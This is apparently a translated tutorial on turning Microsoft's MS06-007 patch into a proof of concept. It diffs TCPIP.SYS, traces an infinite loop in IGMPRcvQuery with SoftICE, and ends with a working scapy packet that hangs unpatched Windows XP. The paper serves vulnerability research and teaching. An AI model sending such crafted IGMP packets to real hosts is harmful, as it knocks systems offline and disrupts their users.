MS06-007 - From patch to exploit

Introduction

The aim of this paper is to illustrate the process of getting a proof of concept, or exploit, from the study of the patch that fixes the vulnerability that you want to explode.

For this example we have chosen a vulnerability of type “Denial of Service” as we intended to give greater emphasis to the study of the patch, and the vulnerability, than to the development of the exploit.

Tools of the trade

For the study of the MS06-007 we employed disassemblers (IDA Pro), Debuggers (SoftICE) and many IDA Pro plugins:

  • Binary diffing: BinDiff, has been used, but you can get the same results with open source plugins like IDACompare.
  • Process Stalking: this plugin allows us to create interactive graphs of the executed function, including register values at the time of execution.

For the packet generation I used scapy for its ease of use and expansion; scapy’s current version does not implement the IGMP protocol.

Advisory study

If anything characterizes Microsoft’s advisories is small amount of information that they provide and that you have to be careful to find the little valuable information they contain.

Let's start with the advisory that concerns us and see what we find. The first step is to collect a series of important data:

  • Vulnerability type: Denial of service (DoS), code execution, etc...
  • Substitutions: If the patch replaces a previous one (as is the case) and we have to conduct a bindiffing, it should be noted that the differences found do not have to belong to the vulnerability that is being studied. Normally substitutions are performed over older vulnerabilities that are generally better documented.
  • Affected software: we don’t want to waste time testing our PoC against an immune system, right?
  • Vulnerability details: in this section is usually where the little technical information that Microsoft provides can be found. Try not to neglect the part of workarround because often we can learn more from the information on how to solve the vulnerability that from Microsoft provided technical details.
  • Update information: The most important of this section is the table with the files that the patch replaces, especially in cases of bindiffing.
  • Acknowledgements: The most interested in disclosing the details of the vulnerability is always the one who discovers it; if someone will give us useful information he will appear here!

In the case of the MS06-007 looks like all the interesting information will have to come from the binary patch (well, that way is more fun) because all the Redmon guys tell us is:

  • DoS via IGMP v3 Question datagram.
  • It replaces the binary TCPIP.SYS (a system driver, that will be interesting)
  • It replaces the patch MS05-019; we have to verify that patch to see what we deduce.
  • The author has not bothered to publish any documents.

Before countinue let’s see what the MS05-019 is about to attempt to advance what we will find in the BinDiffing. To do this we follow the same steps as with the previous advisory and discover that it is:

  • DoS and code execution (this implies that patches several vulnerabilities)
  • Does not replace any other, sometimes you start tracing these dependencies between patches and ends up suicidal!
  • 5 vulnerabilities patched, this can make things more complicated:

Try to read the information available to get an idea of what we are ​​dealing with each.

  • Write down the authors of the discovery and whether they have published additional information if we may need it later.

Packet Forgery

It's time to get down to work. The first thing to do is find out all we can about the protocol that causes the DoS: IGMP. For this we have two sources of information:

  • As always we work with a network protocol, the RFC must be our first choice. After a quick search we locate the RFC explainig IGMP:
    • IGMP v0: RFC 966 y 988
    • IGMP v1: RFC 1054, 1112, 1122 y 1812
    • IGMP v2: RFC 2236 y 2113
    • IGMP v3: 3376
  • While RFCs are an essential source of information, is also true that often they do offer too much information, so a quick Google search provides us with other more summarized sources:

Reading the RFC and abstracts found we conclude, in summary, that for IGMP v3 Question, which is what interests us, the datagram structure is:

     0                   1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |  Type = 0x11  | Max Resp Code |           Checksum            |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                         Group Address                         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   | Resv  |S| QRV |     QQIC      |     Number of Sources (N)     |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                       Source Address [1]                      |
   +-                                                             -+
   |                       Source Address [2]                      |
   +-                              .                              -+
   .                               .                               .
   .                               .                               .
   +-                                                             -+
   |                       Source Address [N]                      |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

And the purpose of IGMP is:

IGMP is a communications protocol used by hosts and adjacent routers on IP networks to establish multicast group memberships.”
Note: I realize that the information I am providing is limited but I can not dwell on this part of the study without extending to much the document, so I recommend you to read the more detailed information available on the links before continuing; although that’s not necessary for understanding the rest of the study.

At this point it's time to think how we will generate the IGMP datagrams considering that we may need to include malformed fields and that we should be able to alter the content without limitations and quickly.

I personally think that for this task there is nothing better than scapy, a packet forgery tool written in python that will greatly facilitate this task.

At the time of this writing scapy does not support IGMP, but by this document we will learn how we can extend the supported protocols and add IGMP.

We only have to create a class (subclass of Packet), add the attribute name (with a brief protocol description) and add the field list consisting of the name and the default value (and the field type: Byte, Short, Integer...).

Let's see how would look like a simple version of IGMP v3 in the case of a Question datagram:

igmptypes = { 0x11 : "membership query",
              0x12 : "v1 membership report",
              0x13 : "DVMRP",
              0x14 : "PIM version 1",
              0x15 : "Cisco Trace Messages",
              0x16 : "v2 membership report",
              0x17 : "v2 leave group",
              0x1e : "Multicast Traceroute Response",
              0x1f : "Multicast Traceroute",
              0x22 : "membership report",
              0x30 : "Multicast Router Advertisement",
              0x31 : "Multicast Router Solicitation",
              0x32 : "Multicast Router Termination" }

class IGMP3Q(Packet):
    name = "IGMP v3 Query Message"
    fields_desc = [ByteEnumField("type", 0x11, igmptypes),
                  XByteField("max_resp_code",0),
                  XShortField("chksum", None),
                  IPField("group_addr", '0.0.0.0'),
                  XByteField("S_QRV", 0),
                  XByteField("QQIC", 0),
                  XShortField("num_sources", 0),
                  IPField("saddr", '0.0.0.0')]
                  #IPField("saddr2", '0.0.0.0'),
                  #IPField("saddr3", '0.0.0.0'),
                  #IPField("saddr4", '0.0.0.0')]

    def post_build(self, p):
        if self.chksum is None:
            ck = checksum(p)
            p = p[:2]+chr(ck>>8)+chr(ck&0xff)+p[4:]
        return p

After this little programming exercise, let’s check that the datagrams generated by the modified scapy are correct by sending some and capturing them with Wireshark

As shown in the screenshot, the datagrams that are perfectly valid, so we can continue to the next part of the study; the binary diffing.

BinDiffing

Now that we can create and send our own IGMP datagrams, it's time to figure out what combination of fields such datagrams must have to cause our Windows XP to stop responding.

For this we will use an unpatched XP as target and we will copy the file TCPIP.SYS in a specific folder for the study. In parallel we will download the Microsoft patch for this vulnerability and we will extract its contents into another folder.

As already mentioned before, The objective of this is disassemble both binaries with IDA Pro and find out all the functions that have changed between the two versions. For this we can use two plugins for IDA Pro:

  • BinDiff: Zynamics commercial plugin; that is what I'm going to use but as it is commercial it makes sense that you use the other option.
  • IDACompare: Open source plugin released by iDefense, along with many other useful tools for vulnerability research work and malware analysis.

Once we have both binaries, we can began to disassemble the vulnerable one with IDA to begin with the comparison.

Once the process is finished, we use either BinDiff or IDAComapre to get the list of features added or modified between the two versions. The process is somewhat different depending on the plugin used, but for both there are very complete tutorials.

As for BinDiff, once the process is completed, we obtain the following information:

Luckily we found that only one function has changed between two versions of the binary, in particular the modifications are in the function “IGMPRcvQuery” (interesting) and as shown in the screenshot what Microsoft has done has been to eliminate a loop (something very suitable to lead to DoS situations).

But let us not anticipate. After finishing the process of comparison we found that neither plugin offers the ability to graphically compare the results so let's turn to another great plugin for IDA that allows us to, among other things, get interactive graphics of all the functions of a binary and then work with them at will, this plugin is Process Stalker.

If we load this plugin from IDA after finishing the analysis, it will create a folder with a gle file for each function of the binary. To visualize them need the free viewer OpenGLE and will obtain the result shown:

I compared the two graphs by hand, and highlighted the modified blocks, so that we can see in this capture the details of the changes made to solve de vulnerability.

Debbuging

At this stage of the study we already have a many information on the operation of the vulnerability, and we only need to see the result of sending different “IGMP QUERY v3”  datagrams to the vulnerable function.

In normal circumstances would employ Olly debugger to examine the vulnerable codeat runtime, but this time the vulnerability is hosted on a driver, that is going to force us to use SoftICE to work at the kernel level.

We will assume that we have SoftICE installed and configured in the test machine. After opening the SoftICE we need to find the memory range where the target driver has stayed after booting, for this we use the DRIVER command followed by the file name “DRIVER TCPIP”:

What interests us is the driver’s base address so that we can add the offset of the function we are searching and locate it to set a breakpoint, or what we may need. We have seen how to find out the address of the driver, now need to find out the function’s offset.

In order to get the PE header information of the file TCPIP.SYS we are going to use the Python library 'pefile'. So we now download and install this library and start a Python interpreter:

Python 2.4.2 (#1, Dec 8 2005, 19:58:51)
[GCC 3.3.5-20050130 (Gentoo 3.3.5.20050130-r1, ssp-3.3.5.20050130-1, pie-8.7.7. on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import pefile
>>> pe = pefile.PE('tcpip.sys')
>>> file = open('header.txt', 'w+')
>>> info = pe.dump_info()
>>> for x in info:
… file.write(x)
… 
>>> file.close()
>>>

If we now look at the contents of header.txt, we have all the information of the driver’s headers:

----------DOS_HEADER----------
[IMAGE_DOS_HEADER]
...

----------NT_HEADERS----------
[IMAGE_NT_HEADERS]
Signature:                      4550

----------FILE_HEADER----------
[IMAGE_FILE_HEADER]
...

----------OPTIONAL_HEADER----------
[IMAGE_OPTIONAL_HEADER]
Magic:                          10B
MajorLinkerVersion:             7
MinorLinkerVersion:             A
SizeOfCode:                     49280
SizeOfInitializedData:          E780
SizeOfUninitializedData:        0
AddressOfEntryPoint:            51416
BaseOfCode:                     380
BaseOfData:                     3B500
ImageBase:                      10000
...

----------PE Sections----------
[IMAGE_SECTION_HEADER]
...

Using this information we can find the offset of the vulnerable function to locate it with SoftICE.

Obviously there are easier ways to obtain information from the headers of a PE file, but I found it instructive to do it this way.

The information we are interested in the PE header of the driver is the ImageBase, in this case has a value of 10000, and can be found in 'Optional Header'.

Subtracting this value to the virtual address of the vulnerable function we obtain it’s offset, and adding the offset to the base address of the driver get the address of the function in memory:

Address = Driver_Addr + (Func_VA – ImageBase)

Once found the vulnerable function, put a breakpoint and send a simple IGMP Question  datagram to the vulnerable machine. This time we put the breakpoint in this function:

.text:00036EC6 loc_36EC6:
.text:00036EC6              test    byte ptr [edi+8], 0F0h
.text:00036ECA              jnz     loc_15964
.text:00036ED0              mov     esi, [ebp+arg_14]
.text:00036ED3              mov     eax, [ebp+arg_8]
.text:00036ED6              mov     ecx, [ebp+arg_C]
.text:00036ED9              lea     esi, ds:0Ch[esi*4]
.text:00036EE0              add     eax, 14h
.text:00036EE3              add     ecx, 0FFFFFFECh
.text:00036EE6              cmp     edx, esi
.text:00036EE8              jb      loc_15964

And after sending the datagram and checking the register values with the SoftICE, we see the following:

###[ IP ]###
    version= 4
    ihl= 0
    tos= 0x0
    len= 0
    id= 1
    flags=
    frag= 0
    ttl= 64
    proto= IGMP
    chksum= 0x0
    src= 172.16.96.1
    dst= 172.16.96.129
    options= ''
###[ IGMP v3 Query Message ]###
        type= membership query
        max_resp_code= 0x0
        chksum= 0x0
        group_addr= 0.0.0.0
        S_QRV= 0x0
        QQIC= 0x0
        num_sources= 0x1
        saddr= 172.16.92.1

Register values and conclusions:

.text:00036EC6 loc_36EC6:
.text:00036EC6              test byte ptr [edi+8], 0F0h
.text:00036ECA              jnz loc_15964
.text:00036ED0              mov esi, [ebp+arg_14]
.text:00036ED3              mov eax, [ebp+arg_8]
.text:00036ED6              mov ecx, [ebp+arg_C]
.text:00036ED9              lea esi, ds:0Ch[esi*4]
.text:00036EE0              add eax, 14h
.text:00036EE3              add ecx, -14h
.text:00036EE6              cmp edx, esi
.text:00036EE8              jb loc_15964
.text:00036EEE
.text:00036EEE loc_36EEE:
.text:00036EEE              cmp ecx, 2                      ;Comprueba el tamaño de la
.text:00036EEE                                              cabecera IP > 20 (contiene
.text:00036EEE                                              IP options)
.text:00036EF1              jl loc_15964
.text:00036EF7              cmp byte ptr [eax], 94h         ;Comprueba que la IP
.text:00036EEE                                              option no es la 148 (0x94)
.text:00036EEE                                              que sólo afecta a routers
.text:00036EFA              jz short loc_36F06
.text:00036EFC              movzx edx, byte ptr [eax+1]
.text:00036F00              add eax, edx
.text:00036F02              sub ecx, edx
.text:00036F04              jmp short loc_36EEE

After this last test we see that to exploit this vulnerability we have to send a IGMP v3 type “Membership Query” datagram to the vulnerable machine and, between the IP options must not be the 148.

In fact, to exploit the vulnerability, the datagram "IP options" must be either “End of Options List” (value 0) or “No Operation” (value 1).

The function “IGMPRcvQuery” has a loop that, under certain circumstances, can become infinite causing a denial of service.

At the end of the code IP datagram options are interpreted, but in the case that the field of IP options (second byte) is 0 and the datagram is still correct, the loop condition is never fulfilled and the system crashes.

For the field “size” can have a value of 0x00 without the datagram being incorrect, the IP option type must be either 0x00 (EOOL) or 0x01 (NOP).

Exploit

To exploit this vulnerability using scapy we just have to send a datagram like this and the Windows system will stop responding:

>>> p=IP(dst="172.16.96.129", proto="IGMP", options="\x00")/IGMP3Q(num_sources=1, saddr=’172.16.96.1’)
>>> p.show()
###[ IP ]###
    version= 4
    ihl= 0
    tos= 0x0
    len= 0
    id= 1
    flags=
    frag= 0
    ttl= 64
    proto= IGMP
    chksum= 0x0
    src= 172.16.96.1
    dst= 172.16.96.129
    options= '\x00'
###[ IGMP v3 Query Message ]###
        type= membership query
        max_resp_code= 0x0
        chksum= 0x0
        group_addr= 0.0.0.0
        S_QRV= 0x0
        QQIC= 0x0
        num_sources= 0x0
        saddr= 0.0.0.0

>>> str(p)
'F\x00\x00(\x00\x01\x00\x00@\x00\xaa\x98\xc0\xa8\x02\x03\xac\x10`\x81\x00\x00\x00\x00\x11\x00\xe2\xec\x00\x00\x00\x00\x00\x00\x00\x01\xac\x10`\x01'

>>> hexdump(p)
0000    46 00 00 28 00 01 00 00 40 00 AA 98 C0 A8 02 03    F..(....@.......
0010    AC 10 60 81 00 00 00 00 11 00 E2 EC 00 00 00 00    ..`.............
0020    00 00 00 01 AC 10 60 01

The value of field 'options' can also be replaced by '\x01' and the result will be the same.


Comments

If you are interested in the topic and want to discuss anything or be aware of future posts, do it through twitter.